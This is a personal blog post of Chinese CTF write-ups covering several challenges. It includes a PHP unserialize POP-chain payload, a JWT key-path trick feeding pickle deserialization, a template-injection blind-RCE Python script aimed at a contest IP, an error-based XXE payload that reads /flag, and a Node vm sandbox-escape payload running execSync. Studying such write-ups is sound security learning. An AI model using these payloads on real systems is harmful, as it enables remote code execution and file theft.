CHHHCHHOH 's BLOG

零零散散做的一些比赛题

这学期比赛好多线上比赛撞了,都是快结束的时候做了一题,所以就放一起了。

R23

<?php
//show_source(__FILE__);
error_reporting(0);
class a{
    public function __get($a){
        var_dump($this->b);
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        var_dump($this->c);
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        echo 123;
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        system("calc");
//        system($_GET['a']);
    }
}

//if(preg_match('/R:2|R:3/',$_GET['pop'])){
//    die("no");
//}
//$payload = new b();
//$payload->e = "123";
//$payload->d = "12";
//$payload->c = "234";
//$payload->b = & $payload->c;
//$payload->a = new a();
//$payload->a->b = new xk();
//$ser =  serialize($payload);
//echo $ser;
$ser = 'O:1:"b":5:{s:1:"e";s:3:"123";s:1:"d";s:2:"12";s:1:"c";s:3:"234";s:1:"b";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}';
if(preg_match('/R:2|R:3/',$ser)){
    die("no");
}
unserialize($ser);
////unserialize($_GET['pop']);

菜狗工具1

直接复制payload

d3pythonhttp

根据源码知道是要成为admin,然后访问backend进行pickle反序列化
身份验证是通过jwt,但是我们注意到verify_signature为false,也就是不验证签名,我们直接改isadmin为true却没通过,原因是verify_token函数先验证了一次


但是这个函数用的key是通过读/app/kid得到的,kid是我们可以控制的

我们让kid为../,读到的key就是空字符串,相当于知道key,然后就可以任意构造token了。



但是为了进行pickle反序列化,frontend要获取到BackdoorPasswordOnlyForAdmin,backend不能获取到


看了wp说是flask和web对chunked的解析不同可以绕过

web是要求chunked全是小写,wp说flask没有要求,本来想调试,但是没找到在哪里进行了判断。

成功反序列化了

蓝桥杯 ezjava

题目给了个md,这里就是一个模板注入的静态方法调用


然后题目过滤了一些类

jetbrick.util.ShellUtils直接提供了一个执行命令的静态方法,比赛完之后找了会就找到了

成功弹计算器,但是无回显

这里用rce时间盲注的方法获得回显

import requests
f = ''
def get_flag(url, payload):  # 盲注函数
    try:
        str = '${jetbrick.util.ShellUtils::shell("'+payload+'")}'
        data = {'str': '${jetbrick.util.ShellUtils::shell("'+payload+'")}'}
        r = requests.post(url, data, timeout=1.5)
    except:
        return True
    return False
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
for i in range(1,50):
    for j in a:
        cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
        url = "http://124.221.19.214:2333/"
        if get_flag(url,cmd):
            break
    f = f+j
    print(f)

宁波市赛 web-2

典型xxe


可以dns但是不能http请求

会有报错出来

这里我们通过利用本地的dtd文件把报错作为回显点

把这些dtd一个个试试,发现/usr/share/xml/fontconfig/fonts.dtd是有的

这里用了fonts.dtd文件里本身定义的expr实体

我们通过重新定义expr来让它报错,要注意的是字符串里要进行一次html编码,最里面那层要二次编码,不然会解析错误

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % expr 'a)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; read "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;file;&#x27;>">
        &#x25;read;&#x25;error;
        <!ELEMENT a ('>
    %local_dtd;
]>
<message></message>
<person>
<username>admin</username><password>admin</password></person>

参考博客

d3 stack_overflow

源码

const express = require('express')
const vm = require("vm");

let app = express();
app.use(express.json());
app.use('/static', express.static('static'))

const pie = parseInt(Math.random() * 0xffffffff)

function waf(str) {
    let pattern = /(call_interface)|\{\{.*?\}\}/g;
    return str.match(pattern)
}

app.get('/', (req, res) => {
    res.sendFile(__dirname + "/index.html")
})

app.post('/', (req, res) => {
    let respond = {}

    let stack = []
    
    let getStack = function (address) { //返回栈中元素,栈大小为0x10000,防止溢出
        if (address - pie >= 0 && address - pie < 0x10000) return stack[address - pie]
        return 0
    }

    let getIndex = function (address) { //返回栈中指针位置
        return address - pie
    }

    let read = function (fd, buf, count) {//把ori压入栈中,ori为数组
        let ori = req.body[fd]
        if (ori.length < count) {
            count = ori.length
        }

        if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})

        for (let i = 0; i < count; i++){
            if (waf(ori[i])) return res.json({"err": "hack!"})
            stack[getIndex(buf) + i] = ori[i]
        }
    }

    let write = function (fd, buf, count) { //从栈里向respond写数据
        if (!respond.hasOwnProperty(fd)) {
            respond[fd] = []
        }
        for (let i = 0; i < count; i++){
            respond[fd].push(getStack(buf + i))   
        }
    }

    let run = function (address) {
        let continuing = 1;
        while (continuing) {
            switch (getStack(address)) {
                case "read"://栈弹出三次,第一个为要读的fd,即req.body[fd],第二个为要读入栈的位置,第三个为读入数据的大小
                    let r_fd = stack.pop()
                    let read_addr = stack.pop()
                    if (read_addr.startsWith("{{") && read_addr.endsWith("}}")) { //{{stack -2}}这种格式为栈顶往下移两格
                        read_addr = pie + eval(read_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
                    }
                    read(r_fd, parseInt(read_addr), parseInt(stack.pop()))
                    break;
                case "write"://也是弹出三次,写的fd,写的地址(从栈的这个地址开始读数据写respond),写的大小
                    let w_fd = stack.pop()
                    let write_addr = stack.pop()
                    if (write_addr.startsWith("{{") && write_addr.endsWith("}}")) {
                        write_addr = pie + eval(write_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
                    }
                    write(w_fd, parseInt(write_addr), parseInt(stack.pop()))
                    break;
                case "exit"://离开
                    continuing = 0;
                    break;
                case "call_interface"://参数个数,命令,从栈中取出参数(’arg1,‘arg2’)
                    let numOfArgs = stack.pop()
                    let cmd = stack.pop()
                    let args = []
                    for (let i = 0; i < numOfArgs; i++) {
                        args.push(stack.pop())
                    }
                    cmd += "('"  + args.join("','") + "')"
                    let result = vm.runInNewContext(cmd)
                    stack.push(result.toString())
                    break;
                case "push"://弹两次,要压入元素的个数和地址
                    let numOfElem = stack.pop()
                    let elemAddr = parseInt(stack.pop())
                    for (let i = 0; i < numOfElem; i++) {
                        stack.push(getStack(elemAddr + i))
                    }
                    break;
                default:
                    stack.push(getStack(address))
                    break;
            }
            address += 1
        }
    }

    let code = `0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){  return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`
    
    code = code.split('\n');
    for (let i = 0; i < code.length; i++){
        stack.push(code[i])
        if (stack[i].startsWith("[[") && stack[i].endsWith("]]")) {
            stack[i] = (pie + eval(stack[i].slice(2,-2).replace("short", i.toString()))).toString()
        }
    }
    run(pie + 0)
    return res.json(respond)
})

app.listen(3090, () => {
    console.log("listen on 3090");
})

我们能够控制的只有stdin,题目限定的我们的输入只能是string或array


唯一能够运行代码的地方只有这里

有一个vm逃逸,调用了toString,原本的逃逸语句如下

(() => {
  const a = {}
  a.toString = function () {
    const cc = arguments.callee.caller;
    const p = (cc.constructor('return process'))();
    return p.mainModule.require('child_process').execSync('whoami').toString()
  }
  return a
})()

我们把cmd进行字符串的拼接来插入我们的恶意代码,原本的cmd如下


拼接成功是这样的

成功rce

{"stdin":["a","b","c","d","e');((...b)=>{const a={};a.toString=function(){const cc=arguments.callee.caller;const p=(cc.constructor('return process'))();return p.mainModule.require('child_process').execSync('whoami').toString()};return a;})('"]}

添加新评论